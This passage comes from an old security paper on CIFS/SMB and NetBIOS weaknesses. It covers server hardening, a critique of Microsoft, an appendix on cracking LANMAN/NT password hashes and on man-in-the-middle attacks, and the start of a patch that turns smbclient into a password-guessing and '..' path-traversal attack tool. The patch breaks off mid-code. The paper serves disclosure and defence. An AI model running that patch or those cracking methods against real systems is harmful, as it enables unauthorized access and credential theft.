  1412. networks for remaining NetBIOS-related weak spots.
  1413. Any text or FAQ on Windows or NT security is a good starting point for
  1414. things
  1415. to change, particularly on servers.  These will detail basics like disabling
  1416. or removing privileges from GUEST accounts, changing ADMINISTRATOR account
  1417. names and barring them from network logins, preventing remote registry
  1418. editing, turning off useless information-leaking services like messaging,
  1419. reassigning user and group privileges, configuring failed-login lockouts,
  1420. and dinking ACLs/ownerships on files and registry entries.  Servers can be
  1421. equipped with batch files to invoke "net share ??? /DELETE" and disable
  1422. unnecessary default fileshares after a reboot.  Centralized user management
  1423. via domain controllers may help mitigate some administrative nightmares, and
  1424. strong user passwords are a must although often difficult to enforce.
  1425. An obvious perimeter defense is packet filter rules in border routers to
  1426. drop
  1427. traffic to TCP *and* UDP ports 135 thru 139.  This prevents direct NetBIOS
  1428. and
  1429. RPC attacks from the outside, but may not block a relayed proxy connection
  1430. or
  1431. a curious insider.  Policy may dictate that a few filtering "holes" be left
  1432. open for remote collaborators; such things should be configured as narrowly
  1433. as
  1434. possible, perhaps even down to specific host addresses, and policymakers
  1435. should understand that the data in these allowed connections can be stolen
  1436. or
  1437. corrupted.  Better would be an encrypting proxy relay or VPN of some sort.
  1438. If packet filtering is not an option, as at many policy-impaired sites,
  1439. there
  1440. are still several worthwhile measures available that can help make your
  1441. machines "invisible" from the outside.  One is to use a scope ID.  These are
  1442. additional components of computernames that Microsoft incomprehensibly
  1443. recommends NOT using but provides anyway.  The stated purpose is to isolate
  1444. groups of machines from each other in a more complete way than using
  1445. different
  1446. workgroups.  Similarly to using an obscure "domainname" under Unix YP,
  1447. setting
  1448. all the machines at a site to use a non-obvious scope ID and keeping it a
  1449. secret within a site effectively provides a "site password."  Any NetBIOS
  1450. traffic, name queries and session setup alike, must contain the exact same
  1451. case-sensitive scope ID or name responses aren't sent and sessions are
  1452. rejected.  Scopes are by no means a panacea since they can leak out via
  1453. human
  1454. vectors, and an astute attacker who observes active listeners on TCP 139 but
  1455. cannot obtain name info or sessions may conclude that a non-null scope ID is
  1456. in use and start trying to guess or social engineer for it.  The scope is
  1457. easily viewed by doing "nbtstat -n" on a local console, so beware of
  1458. wandering
  1459. outsiders with itchy fingers.  If a site's machines are set up with scope
  1460. IDs
  1461. by a small core group of maintainers who keep it to themselves, the end
  1462. users
  1463. are unlikely to even notice anything different unless they specifically look
  1464. in the settings or spot them in packet dumps.
  1465. Where to set the scope name is often hidden in an obscure place.  This is a
  1466. rough outline of where to find it on various platforms; RTFM for others:
  1467.  WFWG [requires restart, and happily craps into various .INI files]:
  1468.    run WINSETUP; Network settings / Drivers / MS TCP/IP / Setup /
  1469.    Advanced / Scope ID text-box
  1470.  WFWG alternate, less frustrating:
  1471.    edit SYSTEM.INI and find [NBT] section
  1472.    add a line with "ScopeID = XYZ"
  1473.    note: can also add "LMHostFile = {path}" here to enable LMHOSTS
  1474.  W95 and NT [also requires restart]:
  1475.    Control panel / Network / Protocols / TCP/IP / Properties /
  1476.    WINS Addresses / Scope ID text-box near bottom
  1477.  Samba [takes effect during server run]:
  1478.    start "smbd" with "-i XYZ" to set the scope ID
  1479. Microsoft clients and servers use the scope ID exactly as given, but Samba
  1480. always upper-cases it and must be patched if a mixed-case one is to be used.
  1481. For compatibility, "nmbloookup" in the attack kit needs a similar patch,
  1482. although "smbclient" itself for some reason doesn't mess with the -i
  1483. argument.
  1484. It is definitely weird that all the scope-handling hooks are already there
  1485. in
  1486. Samba, but not very clearly documented or listed in usage() messages.
  1487. Another easy network-level sleaze is to not supply internal servers with a
  1488. default IP route to the internet, and make sure they ignore ICMP redirects
  1489. and
  1490. routing protocols.  There is little reason a dedicated local fileserver
  1491. would
  1492. ever need to interact with anything offsite, and public services such as web
  1493. servers should exist on different machines anyway.  Packets may still reach
  1494. such "nonrouted" machines from the outside, but they cannot send back and
  1495. TCP
  1496. connection attempts to them simply time out.  NT also seems to have some
  1497. rudimentary concept of its own IP packet filtering, said to offer little
  1498. versatility but may be worth investigating anyway [and TESTING if
  1499. configured!]
  1500. Depending on local policy, end-user machines will probably still need to
  1501. talk
  1502. to the internet so employees can waste time surfing; a wise policy is that
  1503. their machines strictly remain clients and never offer any inbound services.
  1504. Turning off the file and printer sharing checkboxes is the obvious first
  1505. step,
  1506. although Microsoft stacks seem to always listen on the NetBIOS ports
  1507. regardless of these settings.
  1508. The internal protections on server shares are important, on both Microsoft
  1509. platforms and Samba alike.  Placing public shares on separate drive
  1510. partitions
  1511. reduces the potential damage from ".." bugs, since Microsoft servers are
  1512. reasonably good about not letting shares cross filesystem boundaries.  If
  1513. file
  1514. ACLs and modes are available, USE THEM so that any normal user [or a virus
  1515. she
  1516. inadvertantly runs] would never be able to write to, say, directories full
  1517. of
  1518. common system utilities.  Making entire shares read-only if possible is
  1519. sound,
  1520. or if *someone* needs to write to them, separate and closely-held mainenance
  1521. accounts should only own the files and not have any administrative
  1522. privileges.
  1523. While the magic [homes] Samba feature may be useful in some environments,
  1524. consider carefully if the arguably free-n-easy way it works may be too lax
  1525. for
  1526. yours.  A strategy worth considering is building a Samba server with custom
  1527. getpwent() routines that dig base user entries out of a file other than
  1528. /etc/passwd, which makes a cracked filesharing password considerably less
  1529. useful against other daemons on the server machine.
  1530. The logging problem is a pain in the butt.  Most servers that log anything
  1531. just save the calling client's name, which is hardly useful since it can be
  1532. arbitrarily set.  Running a separate network monitor on an unswitched DMZ
  1533. segment and looking for certain inbound traffic is one way to centrally
  1534. cover
  1535. a motley assortment of problematic machines.  Stock Microsoft platforms
  1536. simply
  1537. cannot log client IP addresses at all, a possible albeit lame rationale
  1538. being
  1539. that CIFS runs over several different kind of transports and they'd all have
  1540. to be accomodated somehow.  Some kind of batch job to periodically wake up
  1541. and
  1542. snapshot a "netstat -a" to a logfile may help detect attacks, or by now
  1543. there
  1544. may be some third-party DLLs available that provide better logging and
  1545. alarms.
  1546. Samba deals more closely with IP addresses but still makes the administrator
  1547. jump through hoops to usefully log things.  Under the default debug level of
  1548. 1 only successful non-IPC tree connects are logged.  The code also includes
  1549. an IP-based access control module ripped right out of Wietse Venema's tcp
  1550. wrappers, and can be set up to deny tree connects from all but known hosts
  1551. and subnets.  The allow/deny access control entries reside in lib/smb.conf,
  1552. configured globally and/or per share entry, but they only apply to TCons and
  1553. have no effect on the underlying TCP connection itself.  Using them may
  1554. nevertheless gain some peace of mind; see the documentation for serving
  1555. suggestions.  Supplying an "allow" entry and cranking the debug level up to
  1556. at least 2 will cause all TCon attempts to be logged, along with a certain
  1557. quantity of other noise.  A small saving grace here is that Samba by default
  1558. runs in *share* level, so an attack would take the form of repeated TCon
  1559. attempts and cause lots of logging.  This is still not sufficient with user
  1560. level security.  User logins are also logged at debug level 2 but only with
  1561. the client computername, and one would have to group together many log
  1562. entries
  1563. to reconstruct an attack footprint.  The best way to deal with Samba would
  1564. be
  1565. some minimal changes to the server code, perhaps to getpeername() on the
  1566. current network socket any time a login *or* TCon is attempted and concisely
  1567. log success or failure along with the client name *and* IP address.  Nmbd
  1568. could be changed to log status queries at debug level 0 instead of 3, to
  1569. help
  1570. warn about UDP name-gathering probes even if the "no default route" sleaze
  1571. or
  1572. scopes are in use.  Sending security-critical logging to the syslog instead
  1573. of
  1574. Samba's default logfiles would bring it more in line with other daemons and
  1575. maybe cause administrators to pay more attention to it.
  1576. Snide comments
  1577. ==============
  1578. Although a primary goal has been to point out weakness in the CIFS protocol
  1579. and specific implementations, backhanded comments have so far [with some
  1580. difficulty] been kept to a minimum.  Readers who are easily upset by a
  1581. certain
  1582. amount of vendor-bashing or other no-holds-barred dissing are encouraged to
  1583. skip this section, where we bump up the nasty level.  Why?  Because it needs
  1584. to be stated, partially with the hope of getting certain people to WAKE UP.
  1585. Some of this is certainly conjecture, but guesses made here are reasonably
  1586. educated.
  1587. Experienced Unix people are likely to already understand many of these
  1588. issues,
  1589. and know the "been there, done that, fixed the code" feeling.  It is sadly
  1590. evident that many people running all-Microsoft shops are way behind the
  1591. curve
  1592. where overall network security is concerned, and still struggling with a lot
  1593. of the basics.  Some sites don't know or care, as long as they can get their
  1594. electronic ad agencies connected and sell lots of that web-slum real estate
  1595. with the spiffy pictures and no content.  We hear of things like complete
  1596. trust placed in obscurity measures such as "inside" RAS dialups.  Those who
  1597. are starting to play with firewalls often pull such classic stunts as
  1598. connecting one in parallel with a regular router and relying on default
  1599. routing entries on individual hosts to send traffic to the firewall first.
  1600.  
  1601. Blocking relevant IP traffic is often met with managerial resistance or
  1602. confusion.  Standard IP-level attacks work against such sites because most
  1603. of
  1604. them do not really understand TCP/IP, and do not have any useful network
  1605. monitoring gear available.  Unix is just foreign and scary, particularly to
  1606. these so-called experts who are now popping out of the woodwork and
  1607. mindlessly
  1608. repeating that laughable lie about NT's C2 rating.  These same people will
  1609. tell you how no-brainer bugs like ".." and wide-open registry permissions
  1610. are new and hot, but fall right over when asked about crypto algorithms or
  1611. wire-level packet structure.  Try mentioning how NetBIOS is just a load of
  1612. CACA to such an expert, and expect a blank look in return.
  1613. Unix-savvy folks nowadays are used to having source for their operating
  1614. systems, especially where there are security concerns, or at least are
  1615. easily
  1616. able to implement replacements and enhancements to the weak vendor-supplied
  1617. stuff.  Microsoft not only makes this unavailable and difficult, it relies
  1618. heavily on internal obscurity and deliberate lack of documentation as part
  1619. of
  1620. security architecture.  Since Microsoft refuses to help even when asked, the
  1621. Samba developers have had to go through many contortions and waste a lot of
  1622. valuable time reverse-engineering things just to support certain features.
  1623. A
  1624. reader can *feel* the triumph in those occasional messages to the Samba list
  1625. when someone works out one of those "undocumented Microsoft" things and
  1626. submits a patch.  Security is often an arms race, which Microsoft is simply
  1627. escalating and making worse for everyone by producing yet more flimsy
  1628. obscurity.  If it is not there already, NT source code will eventually hit
  1629. underground circulation as ubiquitously as that of other "proprietary"
  1630. operating systems.  We should expect that numerous exploits of the obscurity
  1631. will have even the security-concerned sites falling like dominoes.
  1632. As we review some of its more blatant failings, the fundamental design of
  1633. CIFS
  1634. authentication quickly becomes ridiculous.  The draft even describes several
  1635. potentially serious security problems, but inexplicably makes no attempt to
  1636. FIX them.  Part of the Internet-drafts process is to design and standardize
  1637. new protocols that move the industry forward, not to mire it in outdated toy
  1638. protocols that place it at risk!  There is no documented way for server-end
  1639. enforcement of secure authentication methods, and no way to provide for
  1640. *both*
  1641. user-level and share-level modes.  At least two easy MITM attacks make the
  1642. challenge-response protocol fall, and it can also be dictionary attacked in
  1643. separate piecemeal DES blocks.  Different users with different privileges
  1644. can
  1645. wind up sharing a single TCP connection, which violates one of the more
  1646. traditional [albeit still insecure] ways of holding users apart.  CIFS seems
  1647. to have no provision for fully encrypted sessions, despite the the fact that
  1648. client and server already share at least one secret key and a few minor
  1649. enhancements to SMB could provide real session encryption.  It is clear that
  1650. those behind CIFS are still mentally locked into the single user per client
  1651. model, since the issues raised by multiuser operating systems were evidently
  1652. never considered.  It is almost criminal that other vendors are being forced
  1653. by market pressure to waste untold development dollars supporting this mess.
  1654. Perhaps Microsoft is nonetheless starting to acknowledge that *something*
  1655. needs to be done to replace the existing mockery of an authentication
  1656. system.
  1657. Apparently there is support for Kerberos 5 authentication on the drawing
  1658. board
  1659. for NT, if not in alpha by now.  As far as I know Microsoft contributed
  1660. nothing to the Krb5 development effort themselves, so why Krb5?  Ostensibly
  1661. to
  1662. support DCE, but more realistically because Microsoft can just swipe the MIT
  1663. code now that it has been well-tested and officially released.  It remains
  1664. to
  1665. be seen whether this will be a full implementation, with perhaps an NT-based
  1666. KDC server??  I can't wait to see how badly *that* gets mangled, especially
  1667. when handling backward compatibility.  Naturally some of the first things to
  1668. rip into will be random number generation and client storage of tickets.
  1669. Will
  1670. we finally see some server-end enforcement of authentication types?  Will
  1671. clients implement preauthenticated TGT requests, or be able to perform
  1672. mutual
  1673. authentication to exchange keys for encrypted sessions?  Not likely, since
  1674. CIFS seems to imply that Microsoft is banking on the eventual deployment of
  1675. IPSEC instead.  Here again, they take the easy way out instead of actively
  1676. helping implement secure protocols.  It's just as well, really, since if
  1677. CIFS
  1678. is any example they would probably screw it up at the standards level and
  1679. set
  1680. everyone else back.
  1681. Default settings on even the latest NT server is still laughable, as are
  1682. most
  1683. of its responses under attack.  Okay, so they turned off the NT4.0 GUEST
  1684. account by default after significant public humiliation, but why stop there?
  1685. Creating a new fileshare *still* lays it wide open to the "Everyone" group,
  1686. unless several obscure menu layers are waded through to reset the ACLs.
  1687. This
  1688. still does not prevent the "Everyone" group from *deleting* arbitrary files
  1689. unless yet another service pack has been applied.  There is little
  1690. enforcement
  1691. for good passwords.  All security auditing is still disabled until the
  1692. administrator turns it on and makes an effort to prevent it from filling up
  1693. and becoming useless -- and the logging still has little value in the WAN
  1694. environment.  Already there is talk of potentially egregious weaknesses in
  1695. various interactions like domain password changing and interdomain trust
  1696. relationships.  Microsoft apparently made the ".." mistake in ALL their OS
  1697. offerings, from WFWG up to the vaunted NT 3.51.  It took a lynch mob to
  1698. convince them to fix it, and it's *still* popping up here and there in other
  1699. add-on products.  And we won't even talk about some of those add-ons, which
  1700. already have been shown to fall over when lightly tickled, or allow full
  1701. read/write file access to completely unauthenticated users.
  1702. We can and should honestly ask, what *are* they thinking out there in
  1703. Redmond?
  1704. Besides the usual complaints about unstable bloatware, we are starting to
  1705. see
  1706. a steady stream of stupid, naive ten year old security problems, from weak
  1707. so-called encryption of .PWL files on up.  The answers usually consist of
  1708. denial and refusing to fix the flaws, and only under tremendous pressure
  1709. does anything get done.  Is this the same vendor we are supposed to trust
  1710. to produce an operating system and network suite as "secure" as is claimed
  1711. for NT, especially when it is held forth as a *replacement* for Unix?  Are
  1712. we to lay large amounts of tithe at the feet of the Golden Gates for a
  1713. complex behemoth that we are repeatedly reassured [read: lied to] is robust
  1714. under fire, but continues to fall for the same old stupid reasons?  The
  1715. Internet security community is now pushing two decades of finding those
  1716. little
  1717. headache-producing bonus gifts that come with major vendor-supplied OSes.
  1718. One
  1719. would surely think that a relative newcomer in that arena would take the
  1720. time
  1721. to learn from all those well-documented mistakes and make some effort to
  1722. avoid
  1723. them, but no, here we go 'round again.  This stuff is *not* technically
  1724. ready
  1725. for prime time in today's internet, but is being brutally pressed into
  1726. service
  1727. for the sake of the bottom line.  Common sense screams "run away", and we
  1728. can
  1729. easily anticipate another decade of nasty holes that will undoubtedly turn
  1730. up
  1731. and be promptly swept under the rug by hordes of marketroids whose jobs are
  1732. *not* particularly dependent on secure, robust computing environments.
  1733. No thank you, I'd rather not go *there* today.
  1734. It will be interesting to see if the trade press picks up on any of this.
  1735. If past experience is any indicator they will simply color the whole issue
  1736. yellow, denounce Samba as a cracker tool while defending poor widdle abused
  1737. Microsoft, and as usual not help anyone address the real problems.
  1738. Conclusions
  1739. ===========
  1740. By now the reader may be thinking twice before replacing all those Unix
  1741. servers with NT, and considering the significant risks in yielding to all
  1742. that
  1743. marketing rah-rah.  In general we now see, in what is hoped to be a clearer
  1744. way than previously, both how and why to check networks for these additional
  1745. vulnerabilities.  Unix may have its own problems, but overall it is still
  1746. easier to secure and verify for correctness, and is largely free with all
  1747. sources included.  There are many good people out there proactively finding
  1748. and fixing Unix problems on a daily basis.  And as detailed in this
  1749. document,
  1750. Unix still has plenty of fight in it to help kick the NT monster in the ass.
  1751. The question remaining is, has this document helped at all, or is it just
  1752. another rework of old information?  It began to take shape under the
  1753. distinct
  1754. feeling that the research involved *must* have been long since done already,
  1755. given today's ubiquity of SMB environments, and that it would appear about
  1756. as
  1757. timely as discussion of Morris worm holes.  But as more sources were
  1758. scanned,
  1759. many of the relevant points just didn't seem to be there or were buried as
  1760. vague hints or hearsay in unrelated discussions.  Again, the intent is to
  1761. simply present this information in a cohesive and useful way, warn against
  1762. some clear and present risks, and plant seeds to foster future work.
  1763. References and acknowledgements
  1764. ===============================
  1765. This is an independent research effort of Avian Research, and is presented
  1766. to the Internet community in the hope that it will be educational and
  1767. useful.  Nearly all the information utilized was obtained via groping
  1768. around on the internet, and is referenced largely in that context.
  1769. Early stages of the project were partially funded by Secure Networks, Inc.
  1770. of
  1771. Calgary, CA.  They have recently released a greatly enhanced NetBIOS
  1772. security
  1773. scanner that embodies many of the concepts described here.  Also
  1774. Samba-based,
  1775. it is now available via FTP at ftp.secnet.com:/pub/tools/nat10.
  1776. Possibly the most instructive document is the CIFS spec, which can be found
  1777. at
  1778. www.internic.net:/internet-drafts/draft-heizer-cifs-v1-spec-00.txt.  The
  1779. spec
  1780. for NetBIOS over TCP is in RFC1001 and RFC1002, available at any RFC
  1781. repository.  Another important source is of course the Samba suite, from
  1782. nimbus.anu.edu.au:/pub/tridge/samba and numerous mirror sites.  The "old-
  1783. versions" subdirectory thereof should contain version 1.9.15p8 of the code.
  1784. Microsoft's "knowledge base" contains lots of fairly good, albeit rather
  1785. sanitized, information via FTP or the web.  The NT articles are summarized
  1786. in ftp.microsoft.com:/bussys/winnt/kb/index.txt, which is possibly the best
  1787. starting point.  The Microsoft resource kits are another reference source
  1788. that
  1789. could possibly have answered more questions, but were unavailable at the
  1790. time
  1791. and therefore *not* consulted.
  1792. Many security practitioners are collecting information about problems in
  1793. Microsoft products.  The "hack Microsoft" page at www.c2.org:/hackmsoft/
  1794. is a good example, as is the information that Somarsoft makes available at
  1795. www.somarsoft.com:/security.htm and related items.  Details about problems
  1796. in the IIS web server and related things are up for grabs at www.omna.com.
  1797. As NT specifically loomed larger as a problem area during data collection,
  1798. many NT-specific references came to light.  It has been VERY difficult to
  1799. avoid diving down the thousands of potential ratholes involved with closer
  1800. investigation of NT.  An email exchange with Tom Sheldon, initially
  1801. concerning
  1802. a reference to Netcat he wanted to add to his book, got us talking.  The
  1803. book is now out: "Windows NT Security Handbook" [680 pages, 0-07-882240-8,
  1804. $34.99US].  Helpful tidbits of information came from this, along with many
  1805. more from Tom's very informational site at www.ntresearch.com.  Several
  1806. papers, articles, and checklists are available there.  Another site that is
  1807. also beginning to make several NT *tools* [notably NTFSDOS] available is
  1808. www.ntinternals.com, run by Mark Russinovich and Bryce Cogswell.
  1809. The archive of the NT-security mailing list is overwhelmingly HUGE by now,
  1810. and
  1811. lives at ftp.iss.net:/pub/lists/ntsecurity-digest.archive/.  Nevertheless,
  1812. the
  1813. bulk of it was pulled down and at least searched for relevant items if not
  1814. read outright.  ISS also maintains some vulnerability databases and security
  1815. checklists.  The mailing list appears to be useful, and frequently points to
  1816. other sources on NT security.  Here are some of them.  They do not all
  1817. appear
  1818. to have titles or authors; some are just random web pages that may have more
  1819. than one maintainer.
  1820.    An Overview of Windows NT Security, by Jim Frost, May 4, 1995
  1821.    world.std.com:/~jimf/nt-security.html
  1822.    A comprehensive collection of pointers to other NT security resources
  1823.    is taking shape at www.it.kth.se/~rom/ntsec.html.
  1824.    Bill Stout posted a paper comparing NT vs. Unix network security, last
  1825. seen
  1826.    at www.hidata.com:/guest/whitepapers/NTsec.htm.  It may have moved since.
  1827. Bruce Schneier should of course be mentioned, whose "Applied Cryptography"
  1828. presents a very clear picture of using crypto properly.  Laurent Joncheray
  1829. presented his interesting paper on the "desync" TCP attack at the 1995
  1830. Usenix
  1831. Security conference.  Random items have been plucked out of various mailing
  1832. lists like NTSEC and Firewalls along the way, specific references to which
  1833. were never saved.  Those wonderful wackos who maintain www.L0pht.com have
  1834. been extremely supportive of the ongoing research, and are also starting to
  1835. make some interesting tools and examples available.  Dominique Brezinski at
  1836. cybersafe.com was helpful in some private mail, and John Hood sent several
  1837. last-minute edits.
  1838. Thanks go out in general to those folks in the Internet security community
  1839. with that no-bullshit approach, who do not hold back with getting problems
  1840. out where everyone can help examine and solve them on a timely basis.
  1841. Appendix A: Crypto
  1842. ==================
  1843. There are two algorithms used to cryptographically secure the authentication
  1844. data between a user and a server.  The earlier LANMAN-compatible algorithm
  1845. uppercases the password, truncates or pads to 14 characters as needed, and
  1846. derives therefrom a pair of odd-parity DES keys to ECB-encrypt a fixed
  1847. 8-byte
  1848. quantity described in CIFS as "available from Microsoft upon request" but
  1849. already well-known to be the decryption of 0xAAD3B435B51404EE with a key of
  1850. all zeros.  The second method is currently supported by NT and Samba, which
  1851. preserves the case of the password up to 128 bytes, converts it to unicode,
  1852. and runs the result through MD4.  Each algorithm outputs 16 bytes of
  1853. cryptographic hash that securely represents the user's password.  These 16
  1854. bytes are called "OWF passwords" from the associated one-way function, and
  1855. are
  1856. stored in registries and Samba's alternate "smbpasswd" file.  Smbencrypt.c
  1857. in conjunction with the "libdes" routines handle most of this.
  1858. For challenge response, five more nulls are appended to either hash type and
  1859. the 21 total bytes used as a key triple to DES encrypt the 8-byte challenge
  1860. into three separate output blocks.  The final 24-byte output of this process
  1861. is sent in the SMB in place of the plaintext password.  The password length
  1862. normally sits at parameter word smb_vwv7 as Samba builds the block, and the
  1863. buffer area farther along contains the response bytes.  Under NT LM dialect
  1864. there are two password fields -- one for the all-uppercase LANMAN-compatible
  1865. password or hash thereof and one for the case-sensitive NT-style equivalent.
  1866. The lengths sit at smb_vwv7 and smb_vwv8 respectively, and the corresponding
  1867. data buffers are consecutive.  NT clients by default fill both buffers with
  1868. the two types of encrypted 24-byte responses.  If told to use plaintext
  1869. passwords, the NT client only sends a LANMAN password in smb_vwv7 but in
  1870. *mixed* case.
  1871. This is open to more than one easy man-in-the-middle attack.  One is even
  1872. documented in CIFS as the "downgrade attack", wherein a fake server response
  1873. tells a client to use observable cleartext passwords.  Since the fake
  1874. response
  1875. packet only needs one changed payload bit and different checksums, this
  1876. attack
  1877. is undetectable since a later real response is simply discarded by the TCP
  1878. transport.  A more interesting attack involves taking the cryptkey from one
  1879. session and network-spoofing it into a victim's later one; the victim's
  1880. resulting 24-byte response is used to authenticate the first session
  1881. instead.
  1882. Here, CIFS makes the cryptographically naive error of letting the client
  1883. user
  1884. "sign" the arbitrary data in the cryptkey instead of a hash that includes
  1885. it.
  1886. The application user interfaces in general encourage the historically bad
  1887. practice for all users to choose the same password across many different
  1888. machines, even across different NT domains.  This is held forth as a single-
  1889. sign-on model, but standard elements of a real SSO system such as
  1890. time-limited
  1891. session credentials never enter the picture at all.  The implementation also
  1892. is in many ways too restrictive for most real-world environments.  How does
  1893. one go about the sounder practice of having separate accounts for separate
  1894. machines or groups thereof?  Some utilities will ask for another password
  1895. and try again if the cached login password isn't correct for a different
  1896. server, but this doesn't work everywhere.  Example: The NT "net" utility
  1897. accepts a "/USER:othername" switch when doing a "net use", but not when
  1898. doing
  1899. a "net view".  Remote registry editing and related tools first try to use
  1900. the
  1901. credentials from the console login, and if that doesn't work either ask for
  1902. an
  1903. alternate password or simply fail.  Sometimes a way to specify a completely
  1904. alternate login is necessary, but NT's designers seems to have ignored this
  1905. and not even provided a global "net logon" facility like under WFWG.  Often
  1906. one is forced to create new local accounts and passwords, or use some other
  1907. band-aid workaround, just to authenticate some underdesigned application to
  1908. a
  1909. remote system.
  1910. The OWF hashes do not directly reveal a user's plaintext password but if
  1911. somehow obtained, can be directly used for authentication as well as input
  1912. to
  1913. an offline dictionary attack.  Directly storing them therefore reduces the
  1914. security to about the level of burying plaintext passwords inside scripts
  1915. and
  1916. thinking "well, the script is hidden, so the password is safe."  Microsoft
  1917. tries to crock around this recognized decades-old problem by re-encrypting
  1918. the hashes under some *other* key that is often stored in some obscure but
  1919. nonetheless findable place.  Authentication information is also cached in
  1920. various places such as .PWL files and registry entries, to support the
  1921. "automatic drive reconnect" stuff.  NT apparently also stores information
  1922. about the last ten domain-level user logons in the registry, for use in
  1923. cases
  1924. when the PDC is unreachable.
  1925. Since there is no salting in the OWF transform, even the generic old Unix
  1926. crypt() algorithm is stronger than this scheme.  An entire dictionary's
  1927. worth
  1928. of passwords and permutations thereof can be *precomputed* and stored, which
  1929. reduces an OWF dictionary attack to a big database lookup.  The block-mode
  1930. ECB
  1931. encryption scheme further implies that only the first 8 bytes of the OWF
  1932. hash
  1933. really need to be saved; a successful 8-byte match not only brackets a
  1934. greatly
  1935. reduced dictionary segment, it directly reveals the first seven characters
  1936. of
  1937. a LANMAN-style password.  Related to this is that the challenge-response
  1938. protocol also uses simple ECB of a known plaintext with no chaining or
  1939. feedback.  Response keys derived from the OWF are invariant and can be
  1940. similarly precomputed.  The first stage of an attack on a recorded session
  1941. setup only requires the cryptkey and the first 8 bytes from both the
  1942. precomputed response dictionary and the 24-byte response, and DES encryption
  1943. of a single block determines whether to bother with the remaining two.
  1944. Again,
  1945. cracking just the first block can index down to a much smaller chunk of the
  1946. dictionary.  Under NT LM dialect, NT clients usually send *both* response
  1947. types in the SetupAndX, which again defeats the whole purpose of the NT
  1948. style
  1949. password since cracking the plaintext of the reduced keyspace LANMAN
  1950. password
  1951. can serve as a template for cracking the user's "real" NT password.
  1952. Normally the SAM registry section on an NT server is protected against
  1953. reading.  An adminstrator can nonetheless take ownership of the whole SAM
  1954. hive, and dump out various subkeys under Domains\Account\Users\{hex-values}.
  1955. It is fairly clear from diffing ASCII hive dumps that the 32 bytes at the
  1956. end
  1957. of the respective "V" binary blocks correspond to OWF password storage.  We
  1958. can observe corresponding changes to at least the same-length fields in the
  1959. Samba "smbpasswd" file.  The 32 bytes represent the LANMAN and NT OWF
  1960. hashes,
  1961. but on NT are re-encrypted under some other set of keys.  Attempts to find
  1962. these meta-keys by trying likely-looking DES-size blocks elsewhere around
  1963. the
  1964. registry have thus far failed, but the answer may be discoverable with a
  1965. little more effort.  Anyone who already knows the true magic here is of
  1966. course
  1967. encouraged to speak up, even if anonymously.
  1968. Inter-domain trust relationships are another NT-specific issue and were not
  1969. studied here, but surely need to be investigated more closely.  Various
  1970. documentation mentions that a "secure channel" is established between domain
  1971. controllers using the special DOMAIN$ accounts and a some kind of "secret
  1972. object" which apparently is often derived from a human-chosen password.  The
  1973. channel is apparently an RPC session, but is it truly encrypted, and if so,
  1974. how?  Would this imply that some mechanism for encrypted SMB does exist
  1975. after
  1976. all, but for some reason is not made available to the end users?  What about
  1977. backup domain-controller replication, which implies that one machine can
  1978. suck
  1979. down the entire SAM database of another?  How about an analysis of
  1980. encryption
  1981. across PPTP VPNs?  Someone else may be able to answer these questions too.
  1982. Appendix B: The Patch Kit
  1983. =========================
  1984. This illustrates some minimal changes needed to turn smbclient into a
  1985. rudimentary attack kit.  It does not cover *every* possibility of protocol
  1986. weakness by any means, but is enough to get going with some fairly serious
  1987. host-level attacks.  Briefly, the following changes are effected:
  1988.  Adds the interpret_error routine to help straighten out server errors
  1989.  Corrects conversion of security mode
  1990.  Loops forever reading new trial passwords from standard input
  1991.  No-ops out the dos_clean_name() path cleanup routine, and allows
  1992.  changing to what appear to be "bad" directory paths.
  1993.  Fixes nmblookup to use local UDP port 137 and verbatim scope ID
  1994. Apply the patch using your favorite method for doing so; extracting it to a
  1995. file and doing "patch < file" generally suffices.  Configure the Makefile
  1996. for
  1997. your platform, and add -DATTACK to FLAGS1.  If you want all passwords
  1998. automatically uppercased, also add -DUPPERCASE.  This is optional, since
  1999. mixed-case passwords are sometimes needed.  Don't define PASSWD_FLAGS, so
  2000. the
  2001. client cannot use password encryption.  Finally, do "make smbclient
  2002. nmblookup"
  2003. to build the two programs.
  2004. These changes are decidedly quick and dirty, but should illustrate how to
  2005. begin putting together a much more sophisticated tool.  Looking a little
  2006. farther forward immediately shows several improvements not implemented here:
  2007. The send_login routine covers three important steps in one linear shot and
  2008. should be split up into its logically separate SMB steps.  Several more
  2009. commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and
  2010. other possibly relevant parameters.  Overall, the entire breakin scenario
  2011. can be highly automated.
  2012.  !-- chop --!
  2013. *** client.c Mon Jan 15 03:56:44 1996
  2014. --- attack/client.c Thu Jan 30 23:14:59 1997
  2015. ***************
  2016. *** 80,81 ****
  2017. --- 80,152 ----
  2018.  
  2019. + /* Avian Research demo "SMBAttack" patch kit.  _H*/
  2020. + #ifdef ATTACK
  2021. + unsigned int cur_err;
  2022. +
  2023. + #define dos_clean_name donothing
  2024. + void donothing () { return; }
  2025. +
  2026. + #define getpass readpass
  2027. + char * readpass (prompt)
  2028. +   char * prompt;
  2029. + {
  2030. +   char pb [256];
  2031. +   char * pp = NULL;
  2032. +
  2033. +   DEBUG(1,(prompt));
  2034. +   pp = fgets (pb, 128, stdin);
  2035. +   if (feof (stdin)) exit (0);
  2036. +   if (pp) {
  2037. +     pp [(strlen (pp) - 1)] = '\0'; /* rip the newline */
  2038. + #ifdef UPPERCASE
  2039. +     strupper (pp);   /* maybe upcase it?  XXX */
  2040. + #endif
  2041. +     strcpy (password, pp);  /* and save it */
  2042. +   }
  2043. +   return (pp);
  2044. + } /* readpass */
  2045. +
  2046. +
  2047. /***************************************************************************
  2048. *
  2049. + The error returns from various platforms are many and varied, but all of
  2050. + them mean a couple of basic things.  This boils relevant ones down roughly
  2051. + to common server-class status, i.e.:
  2052. +  0 success
  2053. +  2 access denied, or wrong username/passwd for session OR share
  2054. +  5 network-ID not found, for session
  2055. +  6 sharename not found, TCon problem
  2056. +  1 anything else, probably fatal, including disabled accounts,
  2057. +     negotiation problems, etc
  2058. +
  2059. ****************************************************************************
  2060. /
  2061. + static int interpret_error (rcls, err)
  2062. + unsigned char rcls;
  2063. + uint16 err;
  2064. + {
  2065. +   if ((rcls == 0) && (err == 0)) return (0); /* no error */
  2066. +   if (rcls == ERRSRV) {
  2067. +     if (err == 1) return (1);  /* non-specific error */
  2068. +     if (err == 2) return (2);  /* bad name or password */
  2069. +     if (err == 4) return (1);  /* insufficient access for function */
  2070. +     if (err == 5) return (5);  /* invalid TID */
  2071. +     if (err == 6) return (6);  /* invalid network name */
  2072. +     if (err == 7) return (6);  /* invalid device */
  2073. +     if (err == 1311) return (1); /* no login servers available [?] */
  2074. +     if (err == 2239) return (1); /* account expired or disabled */
  2075. +   } /* ERRSRV */
  2076. +   if (rcls == ERRDOS) {
